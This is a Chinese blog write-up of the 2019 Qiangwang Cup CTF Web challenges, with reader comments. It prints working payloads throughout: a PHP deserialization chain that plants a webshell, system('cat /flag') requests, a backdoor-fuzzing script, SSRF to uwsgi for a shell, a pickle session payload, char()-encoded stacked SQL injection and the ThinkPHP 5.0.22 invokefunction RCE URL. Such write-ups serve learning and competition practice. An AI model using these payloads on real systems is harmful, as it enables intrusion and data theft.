2019 强网杯online Web Writeup

一叶飘零 2019-05-28 10:44:00

0x00 前言

周末利用空余时间参加了强网杯,以下是Web解题记录。

0x01 upload

登入题目,首先纵览题目功能,发现有注册和登录:

2019-05-25-15-05-13.png

随便注册登入后,来到文件上传页面:

2019-05-25-15-06-24.png

经探测,发现可以上传png图片,同时上传目录可直接访问:

2019-05-25-15-06-50.png

同时发现cookie有序列化内容:

2019-05-25-15-07-23.png

解码后得到:

a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";N;}

上传png后,序列化变为:

a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";s:79:"../upload/9862a5f0c459c3f78ba4bab12279ea3d/fb5c81ed3a220004b71069645f112867.png";}

尝试直接改序列化进行目录穿越

a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";s:28:"../../../../../../etc/passwd";}

页面直接跳转至登录页面,猜测不能直接修改序列化内容。
根据以往经验,有序列化一般都有源码泄露,否则序列化很难恶意构造,于是探测目录,得到文件泄露:

http://49.4.66.242:32147/www.tar.gz

审计网站源码,将目光定位到如下3个文件上:

web/controller/Index.php
web/controller/Profile.php
web/controller/Register.php

web/controller/Profile.php看到关键函数操作

public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)){
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();}else{
                $this->error('Forbidden type!', url('../index'));}
        }
        else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

其中操作

if(getimagesize($this->filename_tmp)){
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);

跟进$this->filename_tmp$this->filename,发现没有过滤等限制,唯一阻碍:

if(!empty($_FILES)){
    $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
    $this->filename=md5($_FILES['upload_file']['name']).".png";
    $this->ext_check();
}

但我们可以通过直接GET请求,不进入该if判断。

if($this->checker){
    if(!$this->checker->login_check()){
        $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
        $this->redirect($curr_url,302);
        exit();
    }
}

同时该校验也可如法炮制,可直接通过设置类中属性进行bypass,不进入if判断。
到此为止可得到类的部分构造:

public $checker=0;
public $filename_tmp='../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/5d0f060446d095e20383edb9e61bd156.png';
public $filename='../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php';

(注:该处路径是../public/upload/,从代码@chdir("../public/upload");可发现,一开始我被坑了= =)
当该值进入upload_img函数后,即可利用copy成功复制出php文件。但是新的问题来了,如何通过反序列化直接调用upload_img函数。
这里可以看到两个魔法方法:

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

我们知道当对象调用不可访问属性时,就会自动触发__get魔法方法,而在对象调用不可访问函数时,就会自动触发__call魔法方法。
那么寻找触发方式可以发现文件web/controller/Register.php,关键部分如下:

class Register extends Controller
{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }
}

我们可以看到checker调用了类Index里的方法index(),如果我们此时将checker的__construct覆盖为类Profile,那么势必在调用index()方法时,会触发__call函数:

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

而进入该函数后,我们会触发$this->index,成功尝试调用类Profile中不存在的对象,于是可触发__get魔法方法,从而变成return $this->except['index'];,那么我们只要在构造序列化时,将except赋值为数组,如下:

public $except=array('index'=>'upload_img');

即可在类Register进行__destruct()时,成功触发upload_img函数,进行文件复制和改名。
综合上述pop链,我们可以构造如下exp:

<?php
namespace app\web\controller;
class Profile
{
    public $checker=0;
    public $filename_tmp="../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/5d0f060446d095e20383edb9e61bd156.png";
    public $filename="../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php";
    public $upload_menu;
    public $ext=1;
    public $img;
    public $except=array('index'=>'upload_img');

}
class Register
{
    public $checker;
    public $registed=0;
}

$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
// echo serialize($a);
echo base64_encode(serialize($a));

成功改名后可直接getshell,进行命令执行:

2019-05-25-15-30-55.png

进行getflag:

view-source:http://49.4.66.242:32147/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php?sky=system(%27ls%27);

2019-05-25-15-33-35.png

view-source:http://49.4.66.242:32147/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php?sky=system(%27ls%20/%27);

2019-05-25-15-33-58.png

view-source:http://49.4.66.242:32147/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php?sky=system(%27cat%20/flag%27);

2019-05-25-15-34-24.png

0x02 高明的黑客

2019-05-25-15-34-55.png

题目直接提供了源码下载:

http://117.78.48.182:31784/www.tar.gz

下载后发现是3000多个混淆过的shell,其中包括多种障眼法:

2019-05-25-15-35-59.png

706CA7490B0918EB26FE6AD941437F24.jpg

例如看起来可进行RCE的参数,实际上被置空,或者有根本不可能进入的if判断。这让我们寻找可用的后门非常困难。
此时有两种想法,一种为动态调试,另一种为fuzz。考虑到便捷性,我使用了后者,思路如下:
匹配出所有$_GET或者$_POST参数,然后统一赋值为:

echo 'sky cool';

如果回显中包含sky cool,那么证明该文件为可用shell,于是撰写如下脚本:

import requests
from multiprocessing import Pool

base_url = "http://localhost:8888/src/"
base_dir = "/Desktop/site/src/"
file_list = ['zzt4yxY_RMa.php',........ 'm_tgKOIy5uj.php', 'aEFo52YSPrp.php', 'Hk3aCSWcQZK.php', 'RXoiLRYSOKE.php']

def extracts(f):
    gets = []
    with open(base_dir + f, 'r') as f:
        lines = f.readlines()
        lines = [i.strip() for i in lines]
        for line in lines:

            if line.find("$_GET['") > 0:
                start_pos = line.find("$_GET['") + len("$_GET['")
                end_pos = line.find("'", start_pos)                
                gets.append(line[start_pos:end_pos])

    return gets

def exp(start,end):
    for i in range(start,end):
        filename = file_list[i]
        gets = extracts(filename)
        print "try: %s"%filename 
        for get in gets:
            now_url = "%s%s?%s=%s"%(base_url,filename,get,'echo "sky cool";')
            r = requests.get(now_url)
            if 'sky cool' in r.content:
                print now_url
                break
    print "%s~%s not found!"%(start,end)


def main():
    pool = Pool(processes=15)    # set the processes max number 3
    for i in range(0,len(file_list),len(file_list)/15):
        pool.apply_async(exp,(i,i+len(file_list)/15,))
    pool.close()
    pool.join()


if __name__ == "__main__":
    main()

运行后找到文件:

2019-05-25-16-38-26.png

进行getflag:

view-source:http://117.78.48.182:31784/xk0SzyKwfzw.php?Efa5BVG=ls%20/

2019-05-25-15-58-01.png

2019-05-25-16-38-26.png

2019-05-25-16-38-26.png

view-source:http://117.78.48.182:31784/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

2019-05-25-15-57-50.png

0x03 babywebbb

直接访问题目:

2019-05-26-16-19-37.png

得到信息,发现有证书信任问题。尝试进行信息搜集,找到ip对应的域名:

2019-05-26-16-21-57.png

发现可疑子域名,进行/etc/hosts绑定:

49.4.71.212 qqwwwwbbbbb.52dandan.xyz

访问页面

https://qqwwwwbbbbb.52dandan.xyz:8088/

发现现在正常访问,但是页面404。进行信息搜集,扫端口:

22/tcp    open   ssh
873/tcp   open   rsync
3389/tcp  closed ms-wbt-server
8080/tcp  closed http-proxy
8088/tcp  open   radan-http
12345/tcp closed netbus
31337/tcp closed Elite

发现837端口开放,尝试未授权访问:

rsync 49.4.71.212::
rsync 49.4.71.212::"src"

2019-05-26-16-25-33.png

下载backup_old.zip

2019-05-26-16-26-08.png

获得外网源码,审计一波,发现是用flask写的小站,首先看下路由:

app.register_blueprint(admin, url_prefix='/admin')
app.register_blueprint(graphql, url_prefix='/graphql_test123')
app.register_blueprint(login_blue, url_prefix='/user')
app.register_blueprint(user, url_prefix='/user')

同时看到登录页面:

https://qqwwwwbbbbb.52dandan.xyz:8088/user/login

审计相关代码:

if re.match("^[A-Za-z0-9]*$", username):
    sql = "select * from user where username_which_you_do_not_know=\"{}\" and password_which_you_do_not_know_too=\"{}\"".format(username,password_new)         

发现有过滤,且有功能需要登录

@user.route('/newimg', methods=['POST','GET'])
@login_required
def test():
    url = unquote(request.form.get('newurl'))
    if re.match("^[A-Za-z0-9-_%:./]*$",url):
        filename = ramdom_str()
        command = "curl {} > /tmp/{}".format(url, filename)
        os.system(command)
        with open("/tmp/{}".format(filename),"rb") as res:
            res_data = res.read()
            res_data = base64.b64encode(res_data)
            return res_data
    return ""

若要利用该SSRF进行任意文件读取,那么必须要登录,但是没有注册功能,那么猜想需要注入,于是寻找注入点,发现:

Test_schema = graphene.Schema(query=Test)
Login_schema = graphene.Schema(query=Login)
graphql.add_url_rule('/test', view_func=GraphQLView.as_view('test', schema=Test_schema, graphiql=True))
graphql.add_url_rule('/login', view_func=GraphQLView.as_view('login', schema=Login_schema, graphiql=True))

尝试访问:

https://qqwwwwbbbbb.52dandan.xyz:8088/graphql_test123/login

其对应代码如下:

class Login(graphene.ObjectType):
    recv = graphene.String(data=graphene.String(default_value=""))
    def resolve_recv(self,info, data):
        all_info = json.loads(data)
        operate = all_info['operate']
        if operate =='login':
            username = all_info['username']
            password = all_info['password']
            logggin(username,password)
            password_new = hashlib.sha256(password.encode('utf-8')).hexdigest()
            db = DbOp()
            db.connect()
            sql = "select * from user where username_which_you_do_not_know=\"{}\" and password_which_you_do_not_know_too=\"{}\"".format(username,password_new)
            rr = db.getall(sql)
            if len(rr) != 0:
                session['username'] = username
                session['loginstatus'] = True
            response = "login success"
        elif operate == 'logout':
            session['username'] = None
            session['loginstatus'] = False
            response = "Logout success"
        else:
            response = "None of operate"
        return response

发现是graphql且无过滤,利用如下操作,可控username与password:

recv = graphene.String(data=graphene.String(default_value=""))

审计发现需要满足:

if operate =='login':

于是构造如下json:

<?php
$array = array('operate'=>'login','username'=>'admin','password'=>'admin');
echo json_encode($array);

尝试访问:

2019-05-26-16-33-34.png

发现可以成功进行登录,那么简单注入:

2019-05-26-16-34-56.png

发现登录成功,成功拿到session,于是利用路由进行SSRF:

https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg

尝试读取/etc/passwd文件:

2019-05-26-16-37-31.png

发现读取成功,尝试读nginx相关配置信息:

file:///etc/nginx/sites-available/default

得到信息

server {
     listen 80  default_server;
     listen 443 default_server;
     server_name _ ;
     ssl on;
     ssl_certificate     /root/www.crt;
     ssl_certificate_key /root/www.key;
     return 444;
}

server {
    listen 80;
    listen 443;
    server_name qqwwwwbbbbb.52dandan.xyz;
    charset utf-8;
    client_max_body_size 5M;
    location / {
        include uwsgi_params;
        uwsgi_pass 127.0.0.1:3031;
    }
    location /static {
        alias /home/qwb/static;
    }
}

发现uwsgi

127.0.0.1:3031;

结合参考文章

https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md

不难想到这里可以利用SSRF打uwsgi进行getshell:

2019-05-26-16-50-49.png

然后下一步理所当然是扫内网,这里我传了个nmap上去一通扫:

Nmap scan report for 172.16.17.1
Host is up (0.00037s latency).
Not shown: 310 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
873/tcp  open  rsync
8088/tcp open  omniorb

Nmap scan report for 2019qwb_qwb_flask_socks5_1.2019qwb_qwb_network (172.16.17.4)
Host is up (0.00035s latency).
Not shown: 312 closed ports
PORT     STATE SERVICE
1080/tcp open  socks

Nmap scan report for 96b479690d75 (172.16.17.22)
Host is up (0.00033s latency).
Not shown: 311 closed ports
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

Nmap scan report for 2019qwb_qwb_rsync_1.2019qwb_qwb_network (172.16.17.99)
Host is up (0.00034s latency).
Not shown: 312 closed ports
PORT    STATE SERVICE
873/tcp open  rsync

Nmap scan report for 2019qwb_qwb_ssrf_mysql_1.2019qwb_qwb_network (172.16.17.231)
Host is up (0.00032s latency).
Not shown: 312 closed ports
PORT     STATE SERVICE
3306/tcp open  mysql

看到数据库后,简单找了下数据库信息:

2019-05-26-16-53-34.png

尝试连接数据库:

2019-05-26-16-55-12.png

顺手看了下内容:

2019-05-26-16-55-53.png

没有flag,惨惨= =,后来正想扫其他网段的时候,主办方放出了hint:

由于内网扫的太卡了,直接给出内网地址192.168.223.222

同时发现之前的扫描结果:

Nmap scan report for 2019qwb_qwb_flask_socks5_1.2019qwb_qwb_network (172.16.17.4)
Host is up (0.00035s latency).
Not shown: 312 closed ports
PORT     STATE SERVICE
1080/tcp open  socks

想到可以用socks5去打内网,于是简单配置了下代理,顺手扫了个端口:

Nmap scan report for 192.168.223.222
Host is up (0.064s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

那就是打web了,浏览器挂上代理访问,来到内网web页面

2019-05-26-16-59-11.png

随手尝试弱密码登录:

admin admin

又来到一个全新的世界= =

2019-05-26-17-03-51.png

发现有几个功能:

add user
save log
infomation

然后陷入了无尽的沉思= =,后来主办方给出了个hint,也就是公开源码:

hint:https://paste.ubuntu.com/p/q4xJBfm3Bb/

简单审计后,发现序列化点:
反序列化操作:

def open_session(self, app, request):
    sid = request.cookies.get(app.session_cookie_name)
    if not sid:
        sid = self._generate_sid()
        return self.session_class(sid=sid)

    signer = self._get_signer(app)
    try:
        sid_as_bytes = signer.unsign(sid)
        sid = sid_as_bytes.decode()
    except BadSignature:
        sid = self._generate_sid()
        return self.session_class(sid=sid)

    sess_path = os.path.join(sys.path[0],self.dir)
    exists = os.path.exists(sess_path)
    if not exists:
        os.mkdir(sess_path)
    try:
        with open(os.path.join(sess_path,sid),'rb') as f:
            try:
                val = pickle.load(f)
            except:
                val = {}
            return self.session_class(val,sid=sid)
    except:
        return self.session_class(sid=sid)  

序列化操作:

def save_session(self, app, session, response):
    domain = self.get_cookie_domain(app)
    path = self.get_cookie_path(app)
    httponly = self.get_cookie_httponly(app)
    secure = self.get_cookie_secure(app)
    expires = self.get_expiration_time(app, session)
    val = dict(session)

    sess_path = os.path.join(sys.path[0],self.dir)
    with open(os.path.join(sess_path , session.sid), 'wb') as f:
        pickle.dump(val, f, True)
    session_id = self._get_signer(app).sign(want_bytes(session.sid))
    response.set_cookie(app.session_cookie_name, session_id,
                        expires=expires, httponly=httponly,
                        domain=domain, path=path, secure=secure)   

注:怎么每年都有个flask session反序列化= =
本来想利用序列化反弹shell,但主办方又给个hint:

不能弹shell的。。。别尝试了

注:主办方真给力,每次都雪中送炭)
于是考虑怎么把数据带出,但考虑到内网的交互问题有点麻烦,于是想直接把flag放进session里。
那么容易想到将flag替换username的值,然后在带出session username的位置即可看到flag。
根据代码

def validate_username(self, field):
    name = field.data

    if (not re.match('^[0-9a-zA-Z]*$',name)) or (len(name)<6) :
        err_log.append(waf(field.data))
        if len(err_log) == 101:
            err_log.pop(0)

        raise ValidationError('validation username!')

发现用户名只要出现特殊符号,就会经过waf后被加入log:
观察waf:

def waf(data):
    data = re.sub('(decode|sh|command|class|dict|base|execfile|timeit|platform|getattribute|reload|values)','hacker',data)
    return data

过滤并不是非常多,触发过滤会被替换为hacker,还是挺好Bypass的。
那么思路非常明确了,我们希望达成如下效果:

bytes('(dp0\nS\'username\'\np1\nS\''+open('/tmp/flag','r').read().strip()+'\'\np2\ns.','utf-8')

该exp被反序列化后,效果如下:

2019-05-26-18-30-30.png

此时我们的username的值变为flag
同时寻找读取内容位置:

2019-05-26-17-18-05.png

发现在information处,会有session['username'],那么即可完成攻击链,我们构造出关键exp:

"open('/home/qwb/session/ba0eaa4d-7f63-41b5-8d05-cce9b1299945','wb').write(bytes('(dp0\\nS\\'username\\'\\np1\\nS\\''+open('/flag','r').read().strip()+'\\'\\np2\\ns.','utf-8'))"

将其序列化后,放在add user位置,使其进入log。
之后利用save_log将日志覆盖到session文件上,再通过触发session,触发反序列化。
其中注意,save log对路径做了过滤,可以用反斜杠进行bypass:

    def validate_filepath(self, field):
        filepath = field.data
        if  re.match('.*(\./|\.\./|/).*',filepath) or re.match('(.*\.py|.*\.pyc|.*\.js|.*\.html|.*\.css|.*\.db)',filepath):
            raise ValidationError('validation filepath!')

攻击后访问information页面,发现flag:

2019-05-26-16-12-47.png

0x04 随便注

一道相对简单的注入题

http://49.4.26.104:32019/?inject=1

随手尝试引号,得到报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

再尝试闭合

http://49.4.26.104:32019/?inject=1'%23

发现正常,于是尝试

http://49.4.26.104:32019/?inject=1'||1%23

2019-05-26-18-15-51.png

发现列出当前表所有内容,猜想flag在其他表中,尝试注入,发现过滤

return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);

发现select.被过滤,根据经验,一般这种情况很难跨表查询,那么考虑有没有其他的技巧,不难想到堆叠注入,为bypass过滤,尝试用char进行绕过,可写出exp如下:

payload = "0';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;"
exp = 'select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()'
# exp = "select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='1919810931114514'"
# exp = "select flag from `1919810931114514`"
res = ''
for i in exp:
    res += "char(%s),"%(ord(i))
my_payload = payload%(res[:-1])
print my_payload

在本地略作尝试:

select * from article where id=1;set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(84),char(65),char(66),char(76),char(69),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(83),char(67),char(72),char(69),char(77),char(65),char(61),char(100),char(97),char(116),char(97),char(98),char(97),char(115),char(101),char(40),char(41));PREPARE a FROM @s;EXECUTE a;

2019-05-26-18-19-23.png

发现一切顺利,于是题目中进行测试:
发现表名

0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(84),char(65),char(66),char(76),char(69),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(83),char(67),char(72),char(69),char(77),char(65),char(61),char(100),char(97),char(116),char(97),char(98),char(97),char(115),char(101),char(40),char(41));PREPARE a FROM @s;EXECUTE a;

2019-05-26-18-20-39.png

发现字段名

0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(67),char(79),char(76),char(85),char(77),char(78),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(67),char(79),char(76),char(85),char(77),char(78),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(61),char(39),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(39));PREPARE a FROM @s;EXECUTE a;

2019-05-26-18-21-01.png

getflag

0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(97),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(96),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(96));PREPARE a FROM @s;EXECUTE a;

2019-05-26-18-21-44.png

0x05 强网先锋-上单

据说是道送分题= =
访问题目,得到目录

2019-05-26-18-22-41.png

发现信息

http://49.4.66.242:31392/1/public/

2019-05-26-18-22-58.png

得知是用thinkphp 5.0.22开发,随手搜索,发现RCE CVE:

http://49.4.66.242:31392/1/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

得到flag

flag{f869fa995fb99667e75e04b5c3ca77cc}

评论

阿凡提 2019-05-28 17:32:28

膜sky师傅,一句“不难想到”让我。。。

2019-05-28 22:03:22

师傅,upload那题反序列化后面一句代码,把profile变量当成数组了,这里报错退出还能执行__destruct函数吗?

胖虎 2019-05-28 23:18:25

飘零老哥奥利给啊

P

Pseudoknot 2019-05-29 08:34:03

高富帅

__画船听雨 2019-05-29 09:36:22

23333 有没有刚一刚智能门锁

EXHades 2019-05-29 23:39:37

或许这就是大佬

loopher 2019-06-03 16:01:41

理由周末时间就搞了这么多,我好菜啊~~

一叶飘零

Blog:https://skysec.top

twitter weibo github wechat

随机分类

MongoDB安全 文章:3 篇
XSS 文章:34 篇
硬件与物联网 文章:40 篇
IoT安全 文章:29 篇
安全管理 文章:7 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录